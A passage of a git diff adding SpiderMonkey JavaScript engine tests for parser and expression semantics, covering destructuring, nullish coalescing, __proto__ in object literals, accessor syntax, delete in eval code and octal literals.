+checkError("var a, b; [(repair.man = 17)] = [1];", SyntaxError, SyntaxError);
+checkError("var a, b; [(demolition['man'] = 'motel')] = [1, 2];", SyntaxError, SyntaxError);
+checkError("var a, b; [(demolition['man' + {}] = 'motel')] = [1];", SyntaxError, SyntaxError); // evade constant-folding
+if (classesEnabled())
+{
+ checkError("var a, b; var obj = { x() { [(super.man = 5)] = [1]; } };", SyntaxError, SyntaxError);
+ checkError("var a, b; var obj = { x() { [(super[8] = 'motel')] = [1]; } };", SyntaxError, SyntaxError);
+ checkError("var a, b; var obj = { x() { [(super[8 + {}] = 'motel')] = [1]; } };", SyntaxError, SyntaxError); // evade constant-folding
+}
+
+checkError("var a, b; [f() = 'ohai', b] = [1, 2];", SyntaxError, SyntaxError);
+checkError("var a, b; [(f()) = 'kthxbai', b] = [1, 2];", SyntaxError, SyntaxError);
+
+Function("var a, b; ({ a: (a), b} = { a: 1, b: 2 });")();
+Function("var a, b; ({ a: (a) = 5, b} = { a: 1, b: 2 });")();
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/destructuring-scope.js b/js/src/tests/non262/expressions/destructuring-scope.js
new file mode 100644
index 0000000000..374c1bec98
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-scope.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 'none';
+var summary = 'Test destructuring assignments for differing scopes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f() {
+ var x = 3;
+ if (x > 0) {
+ let {a:x} = {a:7};
+ if (x != 7)
+ throw "fail";
+ }
+ if (x != 3)
+ throw "fail";
+}
+
+function g() {
+ // Before JS1.7's destructuring for…in was fixed to match JS1.8's,
+ // the expected values were a == "x" and b == 7.
+ for (var [a,b] in {x:7}) {
+ if (a !== "x" || typeof b !== "undefined")
+ throw "fail";
+ }
+
+ {
+ // Before JS1.7's destructuring for…in was fixed to match JS1.8's,
+ // the expected values were a == "y" and b == 8.
+ for (let [a,b] in {y:8}) {
+ if (a !== "y" || typeof b !== "undefined")
+ throw "fail";
+ }
+ }
+
+ if (a !== "x" || typeof b !== "undefined")
+ throw "fail";
+}
+
+f();
+g();
+
+if (typeof a != "undefined" || typeof b != "undefined" || typeof x != "undefined")
+ throw "fail";
+
+function h() {
+ // Before JS1.7's destructuring for…in was fixed to match JS1.8's,
+ // the expected values were a == "x" and b == 9.
+ for ([a,b] in {z:9}) {
+ if (a !== "z" || typeof b !== "undefined")
+ throw "fail";
+ }
+}
+
+h();
+
+if (a !== "z" || typeof b !== "undefined")
+ throw "fail";
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/expressions/exponentiation-unparenthesised-unary.js b/js/src/tests/non262/expressions/exponentiation-unparenthesised-unary.js
new file mode 100644
index 0000000000..a673521264
--- /dev/null
+++ b/js/src/tests/non262/expressions/exponentiation-unparenthesised-unary.js
@@ -0,0 +1,106 @@
+const AsyncFunction = async function(){}.constructor;
+
+function assertNoError(f, msg) {
+ try {
+ f();
+ } catch (e) {
+ assertEq(true, false, `${msg}: ${e}`);
+ }
+}
+
+function assertSyntaxError(code) {
+ assertThrowsInstanceOf(function () { Function(code); }, SyntaxError, "Function:" + code);
+ assertThrowsInstanceOf(function () { AsyncFunction(code); }, SyntaxError, "AsyncFunction:" + code);
+}
+
+function assertNoSyntaxError(code) {
+ assertNoError(function () { Function(code); }, "Function:" + code);
+ assertNoError(function () { AsyncFunction(code); }, "AsyncFunction:" + code);
+}
+
+function assertNoSyntaxErrorAsyncContext(code) {
+ assertNoError(function () { AsyncFunction(code); }, "AsyncFunction:" + code);
+}
+
+const invalidTestCases = [
+ // UnaryExpression : delete UnaryExpression
+ //
+ // Test all possible `delete` expression kinds.
+ "delete a ** 0",
+ "delete a.prop ** 0",
+ "delete a[0] ** 0",
+ "delete a?.prop ** 0",
+ "delete 0 ** 0",
+
+ // UnaryExpression : void UnaryExpression
+ "void a ** 0",
+
+ // UnaryExpression : typeof UnaryExpression
+ //
+ // Test all possible `typeof` expression kinds.
+ "typeof a ** 0",
+ "typeof 0 ** 0",
+
+ // UnaryExpression : + UnaryExpression
+ "+a ** 0",
+
+ // UnaryExpression : - UnaryExpression
+ "-a ** 0",
+
+ // UnaryExpression : ~ UnaryExpression
+ "~a ** 0",
+
+ // UnaryExpression : ! UnaryExpression
+ "!a ** 0",
+
+ // UnaryExpression : AwaitExpression
+ "await a ** 0",
+];
+
+for (let source of invalidTestCases) {
+ assertSyntaxError(source);
+}
+
+const validTestCases = [
+ // UnaryExpression : delete UnaryExpression
+ "(delete a) ** 0",
+ "(delete a.prop) ** 0",
+ "(delete a[0]) ** 0",
+ "(delete a?.prop) ** 0",
+ "(delete 0) ** 0",
+
+ // UnaryExpression : void UnaryExpression
+ "(void a) ** 0",
+
+ // UnaryExpression : typeof UnaryExpression
+ "(typeof a) ** 0",
+ "(typeof 0) ** 0",
+
+ // UnaryExpression : + UnaryExpression
+ "(+a) ** 0",
+
+ // UnaryExpression : - UnaryExpression
+ "(-a) ** 0",
+
+ // UnaryExpression : ~ UnaryExpression
+ "(~a) ** 0",
+
+ // UnaryExpression : ! UnaryExpression
+ "(!a) ** 0",
+];
+
+for (let source of validTestCases) {
+ assertNoSyntaxError(source);
+}
+
+const validTestCasesAsync = [
+ // UnaryExpression : AwaitExpression
+ "(await a) ** 0",
+];
+
+for (let source of validTestCasesAsync) {
+ assertNoSyntaxErrorAsyncContext(source);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/inNotObjectError.js b/js/src/tests/non262/expressions/inNotObjectError.js
new file mode 100644
index 0000000000..3394ac0db7
--- /dev/null
+++ b/js/src/tests/non262/expressions/inNotObjectError.js
@@ -0,0 +1,46 @@
+var BUGNUMBER = 1352429;
+var summary = 'Error message should provide enough infomation for use of in operator';
+
+print(BUGNUMBER + ": " + summary);
+
+function checkErr(substr, str, messageSubstr, messageStr) {
+ var caught = false;
+ try {
+ substr in str;
+ } catch (e) {
+ caught = true;
+ assertEq(e.message.includes(messageSubstr), true);
+ assertEq(e.message.includes(messageStr), true);
+ assertEq(e.message.length < 100, true);
+ }
+ assertEq(caught, true);
+}
+
+// These test cases check if long string is omitted properly.
+checkErr('subString', 'base', 'subString', 'base');
+checkErr('this is subString', 'base', 'this is subStrin...', 'base');
+checkErr('subString', 'this is baseString', 'subString', 'this is baseStri...');
+checkErr('this is subString', 'this is base', 'this is subStrin...', 'this is base');
+checkErr('HEAD' + 'subString'.repeat(30000), 'HEAD' + 'base'.repeat(30000), 'HEADsubStringsub...', 'HEADbasebasebase...');
+
+// These test cases check if it does not crash and throws appropriate error.
+assertThrowsInstanceOf(() => { 1 in 'hello' }, TypeError);
+assertThrowsInstanceOf(() => { 'hello' in 1 }, TypeError);
+assertThrowsInstanceOf(() => { 'hello' in null }, TypeError);
+assertThrowsInstanceOf(() => { null in 'hello' }, TypeError);
+assertThrowsInstanceOf(() => { null in null }, TypeError);
+assertThrowsInstanceOf(() => { 'hello' in true }, TypeError);
+assertThrowsInstanceOf(() => { false in 1.1 }, TypeError);
+assertThrowsInstanceOf(() => { Symbol.iterator in undefined }, TypeError);
+assertThrowsInstanceOf(() => { [] in undefined }, TypeError);
+assertThrowsInstanceOf(() => { /a/ in 'hello' }, TypeError);
+var str = 'hello';
+assertThrowsInstanceOf(() => { str in 'hello' }, TypeError);
+class A {};
+assertThrowsInstanceOf(() => { new A() in undefined }, TypeError);
+var a = new A();
+a.b = 1.1;
+assertThrowsInstanceOf(() => { a.b in 1.1 }, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/named-accessor-function.js b/js/src/tests/non262/expressions/named-accessor-function.js
new file mode 100644
index 0000000000..d6a055487b
--- /dev/null
+++ b/js/src/tests/non262/expressions/named-accessor-function.js
@@ -0,0 +1,49 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor:
+// Jeff Walden <jwalden+code@mit.edu>
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 999999;
+var summary = '{ get x y() { } } is not valid getter syntax';
+
+print(BUGNUMBER + ": " + summary);
+
+var BAD_CODE = ["({ get x y() { } })", "({ set x y(v) { } })"];
+
+for (var i = 0, sz = BAD_CODE.length; i < sz; i++)
+{
+ var code = BAD_CODE[i];
+
+ var err = "no exception";
+ try
+ {
+ eval(code);
+ }
+ catch (e)
+ {
+ err = e;
+ }
+ if (!(err instanceof SyntaxError))
+ {
+ assertEq(true, false,
+ "bad or no exception thrown for eval(" + code + "): " + err);
+ }
+
+ err = "no exception";
+ try
+ {
+ new Function(code);
+ }
+ catch (e)
+ {
+ err = e;
+ }
+ if (!(err instanceof SyntaxError))
+ {
+ assertEq(true, false,
+ "bad or no exception thrown for Function(" + code + "): " + err);
+ }
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/nested-delete-name-in-evalcode.js b/js/src/tests/non262/expressions/nested-delete-name-in-evalcode.js
new file mode 100644
index 0000000000..8226ba7c8b
--- /dev/null
+++ b/js/src/tests/non262/expressions/nested-delete-name-in-evalcode.js
@@ -0,0 +1,163 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 616294;
+var summary =
+ "|delete x| inside a function in eval code, where that eval code includes " +
+ "|var x| at top level, actually does delete the binding for x";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var f;
+
+function testOuterVar()
+{
+ return eval("var x; (function() { return delete x; })");
+}
+
+f = testOuterVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterFunction()
+{
+ return eval("function x() { } (function() { return delete x; })");
+}
+
+f = testOuterFunction();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterForVar()
+{
+ return eval("for (var x; false; ); (function() { return delete x; })");
+}
+
+f = testOuterForVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterForInVar()
+{
+ return eval("for (var x in {}); (function() { return delete x; })");
+}
+
+f = testOuterForInVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterNestedVar()
+{
+ return eval("for (var q = 0; q < 5; q++) { var x; } (function() { return delete x; })");
+}
+
+f = testOuterNestedVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterNestedConditionalVar()
+{
+ return eval("for (var q = 0; q < 5; q++) { if (false) { var x; } } (function() { return delete x; })");
+}
+
+f = testOuterNestedConditionalVar();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testVarInWith()
+{
+ return eval("with ({}) { var x; } (function() { return delete x; })");
+}
+
+f = testVarInWith();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testForVarInWith()
+{
+ return eval("with ({}) { for (var x = 0; x < 5; x++); } (function() { return delete x; })");
+}
+
+f = testForVarInWith();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testForInVarInWith()
+{
+ return eval("with ({}) { for (var x in {}); } (function() { return delete x; })");
+}
+
+f = testForInVarInWith();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testUnknown()
+{
+ return eval("nameToDelete = 17; (function() { return delete nameToDelete; })");
+}
+
+f = testUnknown();
+
+assertEq(f(), true); // configurable global property, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testArgumentShadow()
+{
+ return eval("var x; (function(x) { return delete x; })");
+}
+
+f = testArgumentShadow();
+
+assertEq(f(), false); // non-configurable argument => false
+
+
+function testArgument()
+{
+ return eval("(function(x) { return delete x; })");
+}
+
+f = testArgument();
+
+assertEq(f(), false); // non-configurable argument => false
+
+
+function testFunctionLocal()
+{
+ return eval("(function() { var x; return delete x; })");
+}
+
+f = testFunctionLocal();
+
+assertEq(f(), false); // defined by function code => not configurable => false
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/expressions/nullish-coalescing.js b/js/src/tests/non262/expressions/nullish-coalescing.js
new file mode 100644
index 0000000000..4d3ea8f644
--- /dev/null
+++ b/js/src/tests/non262/expressions/nullish-coalescing.js
@@ -0,0 +1,112 @@
+var BUGNUMBER = 1566141;
+var summary = "Implement the Nullish Coalescing operator (??) proposal";
+
+print(BUGNUMBER + ": " + summary);
+
+// These tests are originally from webkit.
+// webkit specifics have been removed and a test for `document.all` has
+// been added.
+function shouldBe(actual, expected) {
+ if (actual !== expected)
+ throw new Error(`expected ${expected} but got ${actual}`);
+}
+
+function shouldNotThrow(script) {
+ eval(script);
+}
+
+function shouldThrowSyntaxError(script) {
+ let error;
+ try {
+ eval(script);
+ } catch (e) {
+ error = e;
+ }
+
+ if (!(error instanceof SyntaxError))
+ throw new Error('Expected SyntaxError!');
+}
+
+function testBasicCases() {
+ shouldBe(undefined ?? 3, 3);
+ shouldBe(null ?? 3, 3);
+ shouldBe(true ?? 3, true);
+ shouldBe(false ?? 3, false);
+ shouldBe(0 ?? 3, 0);
+ shouldBe(1 ?? 3, 1);
+ shouldBe('' ?? 3, '');
+ shouldBe('hi' ?? 3, 'hi');
+ shouldBe(({} ?? 3) instanceof Object, true);
+ shouldBe(({ x: 'hi' } ?? 3).x, 'hi');
+ shouldBe(([] ?? 3) instanceof Array, true);
+ shouldBe((['hi'] ?? 3)[0], 'hi');
+ // test document.all, which has odd behavior
+ shouldBe(typeof(createIsHTMLDDA() ?? 3), "undefined");
+}
+
+for (let i = 0; i < 1e5; i++)
+ testBasicCases();
+
+shouldBe(1 | null ?? 3, 1);
+shouldBe(1 ^ null ?? 3, 1);
+shouldBe(1 & null ?? 3, 0);
+shouldBe(3 == null ?? 3, false);
+shouldBe(3 != null ?? 3, true);
+shouldBe(3 === null ?? 3, false);
+shouldBe(3 !== null ?? 3, true);
+shouldBe(1 < null ?? 3, false);
+shouldBe(1 > null ?? 3, true);
+shouldBe(1 <= null ?? 3, false);
+shouldBe(1 >= null ?? 3, true);
+shouldBe(1 << null ?? 3, 1);
+shouldBe(1 >> null ?? 3, 1);
+shouldBe(1 >>> null ?? 3, 1);
+shouldBe(1 + null ?? 3, 1);
+shouldBe(1 - null ?? 3, 1);
+shouldBe(1 * null ?? 3, 0);
+shouldBe(1 / null ?? 3, Infinity);
+shouldBe(isNaN(1 % null ?? 3), true);
+shouldBe(1 ** null ?? 3, 1);
+shouldBe((void 0) ?? 3, 3);
+
+const obj = {
+ count: 0,
+ get x() { this.count++; return 'x'; }
+};
+false ?? obj.x;
+shouldBe(obj.count, 0);
+null ?? obj.x;
+shouldBe(obj.count, 1);
+obj.x ?? obj.x;
+shouldBe(obj.count, 2);
+
+shouldThrowSyntaxError('0 || 1 ?? 2');
+shouldThrowSyntaxError('0 && 1 ?? 2');
+shouldThrowSyntaxError('0 ?? 1 || 2');
+shouldThrowSyntaxError('0 ?? 1 && 2');
+shouldNotThrow('(0 || 1) ?? 2');
+shouldNotThrow('0 || (1 ?? 2)');
+shouldNotThrow('(0 && 1) ?? 2');
+shouldNotThrow('0 && (1 ?? 2)');
+shouldNotThrow('(0 ?? 1) || 2');
+shouldNotThrow('0 ?? (1 || 2)');
+shouldNotThrow('(0 ?? 1) && 2');
+shouldNotThrow('0 ?? (1 && 2)');
+
+shouldNotThrow('0 || 1 && 2 | 3 ^ 4 & 5 == 6 != 7 === 8 !== 9 < 0 > 1 <= 2 >= 3 << 4 >> 5 >>> 6 + 7 - 8 * 9 / 0 % 1 ** 2');
+shouldThrowSyntaxError('0 || 1 && 2 | 3 ^ 4 & 5 == 6 != 7 === 8 !== 9 < 0 > 1 <= 2 >= 3 << 4 >> 5 >>> 6 + 7 - 8 * 9 / 0 % 1 ** 2 ?? 3');
+shouldThrowSyntaxError('3 ?? 2 ** 1 % 0 / 9 * 8 - 7 + 6 >>> 5 >> 4 << 3 >= 2 <= 1 > 0 < 9 !== 8 === 7 != 6 == 5 & 4 ^ 3 | 2 && 1 || 0');
+
+shouldBe(null?.x ?? 3, 3);
+shouldBe(({})?.x ?? 3, 3);
+shouldBe(({ x: 0 })?.x ?? 3, 0);
+shouldBe(null?.() ?? 3, 3);
+shouldBe((() => 0)?.() ?? 3, 0);
+shouldBe(({ x: 0 })?.[null?.a ?? 'x'] ?? 3, 0);
+shouldBe((() => 0)?.(null?.a ?? 'x') ?? 3, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
+
diff --git a/js/src/tests/non262/expressions/object-literal-__proto__.js b/js/src/tests/non262/expressions/object-literal-__proto__.js
new file mode 100644
index 0000000000..531ef7fc5c
--- /dev/null
+++ b/js/src/tests/non262/expressions/object-literal-__proto__.js
@@ -0,0 +1,267 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1061853;
+var summary =
+ "__proto__ in object literals in non-__proto__:v contexts doesn't modify " +
+ "[[Prototype]]";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function hasOwn(obj, prop)
+{
+ return Object.getOwnPropertyDescriptor(obj, prop) !== undefined;
+}
+
+var objectStart = "{ ";
+var objectEnd = " }";
+
+var members =
+ {
+ nullProto: "__proto__: null",
+ functionProtoProto: "__proto__: Function.prototype",
+ computedNull: "['__proto__']: null",
+ method: "__proto__() {}",
+ computedMethod: "['__proto__']() {}",
+ generatorMethod: "*__proto__() {}",
+ computedGenerator: "*['__proto__']() {}",
+ shorthand: "__proto__",
+ getter: "get __proto__() { return 42; }",
+ getterComputed: "get ['__proto__']() { return 42; }",
+ setter: "set __proto__(v) { }",
+ setterComputed: "set ['__proto__'](v) { }",
+ };
+
+function isProtoMutation(key)
+{
+ return key === "nullProto" || key === "functionProtoProto";
+}
+
+function isGetter(key)
+{
+ return key === "getter" || key === "getterComputed";
+}
+
+function isSetter(key)
+{
+ return key === "setter" || key === "setterComputed";
+}
+
+function isData(key)
+{
+ return !isProtoMutation(key) && !isGetter(key) && !isSetter(key);
+}
+
+var __proto__ = "string value";
+
+function typeOfProto(key)
+{
+ if (key === "computedNull")
+ return "object";
+ if (key === "method" || key === "computedMethod" ||
+ key === "computedGenerator" || key === "generatorMethod")
+ {
+ return "function";
+ }
+ if (key === "getter" || key === "getterComputed")
+ return "number";
+ assertEq(key, "shorthand", "bug in test!");
+ return "string";
+}
+
+for (var first in members)
+{
+ var fcode = "return " + objectStart + members[first] + objectEnd;
+ var f = Function(fcode);
+ var oneProp = f();
+
+ if (first === "nullProto")
+ {
+ assertEq(Object.getPrototypeOf(oneProp), null);
+ assertEq(hasOwn(oneProp, "__proto__"), false);
+ }
+ else if (first === "functionProtoProto")
+ {
+ assertEq(Object.getPrototypeOf(oneProp), Function.prototype);
+ assertEq(hasOwn(oneProp, "__proto__"), false);
+ }
+ else if (isSetter(first))
+ {
+ assertEq(Object.getPrototypeOf(oneProp), Object.prototype);
+ assertEq(hasOwn(oneProp, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(oneProp, "__proto__").set,
+ "function");
+ }
+ else
+ {
+ assertEq(Object.getPrototypeOf(oneProp), Object.prototype);
+ assertEq(hasOwn(oneProp, "__proto__"), true);
+ assertEq(typeof oneProp.__proto__, typeOfProto(first));
+ }
+
+ for (var second in members)
+ {
+ try
+ {
+ var gcode = "return " + objectStart + members[first] + ", " +
+ members[second] + objectEnd;
+ var g = Function(gcode);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "__proto__ member conflicts should be syntax errors, got " + e);
+ assertEq(+(first === "nullProto" || first === "functionProtoProto") +
+ +(second === "nullProto" || second === "functionProtoProto") > 1,
+ true,
+ "unexpected conflict between members: " + first + ", " + second);
+ continue;
+ }
+
+ var twoProps = g();
+
+ if (first === "nullProto" || second === "nullProto")
+ assertEq(Object.getPrototypeOf(twoProps), null);
+ else if (first === "functionProtoProto" || second === "functionProtoProto")
+ assertEq(Object.getPrototypeOf(twoProps), Function.prototype);
+ else
+ assertEq(Object.getPrototypeOf(twoProps), Object.prototype);
+
+ if (isSetter(second))
+ {
+ assertEq(hasOwn(twoProps, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").get,
+ isGetter(first) ? "function" : "undefined");
+ }
+ else if (!isProtoMutation(second))
+ {
+ assertEq(hasOwn(twoProps, "__proto__"), true);
+ assertEq(typeof twoProps.__proto__, typeOfProto(second));
+ if (isGetter(second))
+ {
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").get,
+ "function");
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").set,
+ isSetter(first) ? "function" : "undefined");
+ }
+ }
+ else if (isSetter(first))
+ {
+ assertEq(hasOwn(twoProps, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").set,
+ "function");
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").get,
+ "undefined");
+ }
+ else if (!isProtoMutation(first))
+ {
+ assertEq(hasOwn(twoProps, "__proto__"), true);
+ assertEq(typeof twoProps.__proto__, typeOfProto(first));
+ }
+ else
+ {
+ assertEq(true, false, "should be unreachable: " + first + ", " + second);
+ }
+
+ for (var third in members)
+ {
+ try
+ {
+ var hcode = "return " + objectStart + members[first] + ", " +
+ members[second] + ", " +
+ members[third] + objectEnd;
+ var h = Function(hcode);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "__proto__ member conflicts should be syntax errors, got " + e);
+ assertEq(+(first === "nullProto" || first === "functionProtoProto") +
+ +(second === "nullProto" || second === "functionProtoProto") +
+ +(third === "nullProto" || third === "functionProtoProto") > 1,
+ true,
+ "unexpected conflict among members: " +
+ first + ", " + second + ", " + third);
+ continue;
+ }
+
+ var threeProps = h();
+
+ if (first === "nullProto" || second === "nullProto" ||
+ third === "nullProto")
+ {
+ assertEq(Object.getPrototypeOf(threeProps), null);
+ }
+ else if (first === "functionProtoProto" ||
+ second === "functionProtoProto" ||
+ third === "functionProtoProto")
+ {
+ assertEq(Object.getPrototypeOf(threeProps), Function.prototype);
+ }
+ else
+ {
+ assertEq(Object.getPrototypeOf(threeProps), Object.prototype);
+ }
+
+ if (isSetter(third))
+ {
+ assertEq(hasOwn(threeProps, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(threeProps, "__proto__").get,
+ isGetter(second) || (!isData(second) && isGetter(first))
+ ? "function"
+ : "undefined",
+ "\n" + hcode);
+ }
+ else if (!isProtoMutation(third))
+ {
+ assertEq(hasOwn(threeProps, "__proto__"), true);
+ assertEq(typeof threeProps.__proto__, typeOfProto(third), first + ", " + second + ", " + third);
+ if (isGetter(third))
+ {
+ var desc = Object.getOwnPropertyDescriptor(threeProps, "__proto__");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set,
+ isSetter(second) || (!isData(second) && isSetter(first))
+ ? "function"
+ : "undefined");
+ }
+ }
+ else if (isSetter(second))
+ {
+ assertEq(hasOwn(threeProps, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(threeProps, "__proto__").get,
+ isGetter(first) ? "function" : "undefined");
+ }
+ else if (!isProtoMutation(second))
+ {
+ assertEq(hasOwn(threeProps, "__proto__"), true);
+ assertEq(typeof threeProps.__proto__, typeOfProto(second));
+ if (isGetter(second))
+ {
+ var desc = Object.getOwnPropertyDescriptor(threeProps, "__proto__");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set,
+ isSetter(first) ? "function" : "undefined");
+ }
+ }
+ else
+ {
+ assertEq(true, false,
+ "should be unreachable: " +
+ first + ", " + second + ", " + third);
+ }
+ }
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/object-literal-accessor-arguments.js b/js/src/tests/non262/expressions/object-literal-accessor-arguments.js
new file mode 100644
index 0000000000..5b6e7e672f
--- /dev/null
+++ b/js/src/tests/non262/expressions/object-literal-accessor-arguments.js
@@ -0,0 +1,42 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'object-literal-accessor-arguments.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 536472;
+var summary =
+ 'ES5: { get x(v) { } } and { set x(v, v2) { } } should be syntax errors';
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+function expectSyntaxError(s)
+{
+ try
+ {
+ eval(s);
+ throw new Error("no error thrown");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error parsing '" + s + "', got: " + e);
+ }
+}
+
+expectSyntaxError("({ get x(a) { } })");
+expectSyntaxError("({ get x(a, a) { } })");
+expectSyntaxError("({ get x(a, b) { } })");
+expectSyntaxError("({ get x(a, a, b) { } })");
+expectSyntaxError("({ get x(a, b, c) { } })");
+
+expectSyntaxError("({ set x() { } })");
+expectSyntaxError("({ set x(a, a) { } })");
+expectSyntaxError("({ set x(a, b) { } })");
+expectSyntaxError("({ set x(a, a, b) { } })");
+expectSyntaxError("({ set x(a, b, c) { } })");
+
+//-----------------------------------------------------------------------------
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/object-literal-accessor-property-name.js b/js/src/tests/non262/expressions/object-literal-accessor-property-name.js
new file mode 100644
index 0000000000..11a7f20e04
--- /dev/null
+++ b/js/src/tests/non262/expressions/object-literal-accessor-property-name.js
@@ -0,0 +1,29 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'object-literal-accessor-property-name.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 715682;
+var summary =
+ "Permit numbers and strings containing numbers as accessor property names";
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+({ get "0"() { } });
+({ get 0() { } });
+({ get 0.0() { } });
+({ get 0.() { } });
+({ get 1.() { } });
+({ get 5.2322341234123() { } });
+
+({ set "0"(q) { } });
+({ set 0(q) { } });
+({ set 0.0(q) { } });
+({ set 0.(q) { } });
+({ set 1.(q) { } });
+({ set 5.2322341234123(q) { } });
+
+//-----------------------------------------------------------------------------
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/object-literal-computed-property-evaluation.js b/js/src/tests/non262/expressions/object-literal-computed-property-evaluation.js
new file mode 100644
index 0000000000..d26783d355
--- /dev/null
+++ b/js/src/tests/non262/expressions/object-literal-computed-property-evaluation.js
@@ -0,0 +1,38 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1199546;
+var summary =
+ "Convert computed property name expressions to property key before " +
+ "evaluating the property's value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = "foo";
+var convertsToS = { toString() { return s; } };
+
+var o = {
+ [convertsToS]: // after ToPropertyKey becomes "foo"
+ (function() {
+ s = 'bar';
+ return 'abc'; // so we have "foo": "bar" for the first property
+ })(),
+
+ [convertsToS]: // |s| was set above to "bar", so after ToPropertyKey, "bar"
+ 'efg' // so we have "bar": "efg" for the second property
+};
+
+assertEq(o.foo, "abc");
+assertEq(o.bar, "efg");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/octal-literals.js b/js/src/tests/non262/expressions/octal-literals.js
new file mode 100644
index 0000000000..abeef8736f
--- /dev/null
+++ b/js/src/tests/non262/expressions/octal-literals.js
@@ -0,0 +1,103 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 894026;
+var summary = "Implement ES6 octal literals";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var chars = ['o', 'O'];
+
+for (var i = 0; i < 8; i++)
+{
+ if (i === 8)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ for (var j = 0; j < 8; j++)
+ {
+ if (j === 8)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i + j);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
